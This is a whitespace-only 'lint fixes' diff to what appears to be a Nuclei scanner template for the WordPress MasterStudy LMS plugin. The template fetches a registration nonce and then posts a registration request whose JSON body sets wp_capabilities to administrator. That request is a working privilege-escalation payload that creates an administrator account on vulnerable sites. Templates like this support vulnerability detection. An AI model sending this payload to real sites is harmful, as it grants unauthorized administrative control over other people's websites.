lint fixes
parent
c9ec1de7e4
commit
e01994ef64
|
@ -15,21 +15,22 @@ info:
|
|||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json; charset=utf-8
|
||||
- |
|
||||
POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json; charset=utf-8
|
||||
|
||||
{"user_login":"{{rand_text_alphanumeric(8)}}","user_email":"{{rand_text_alphanumeric(8)}}@test.com","user_password":"Testtest123","user_password_re":"Testtest123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
|
||||
|
||||
{"user_login":"{{rand_text_alphanumeric(8)}}","user_email":"{{rand_text_alphanumeric(8)}}@test.com","user_password":"Testtest123","user_password_re":"Testtest123","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: nonce
|
||||
group: 1
|
||||
regex:
|
||||
regex:
|
||||
- '"stm_lms_register":"([0-9a-zA-Z]+)"'
|
||||
internal: true
|
||||
|
||||
|
@ -47,4 +48,4 @@ requests:
|
|||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- 200
|
Loading…
Reference in New Issue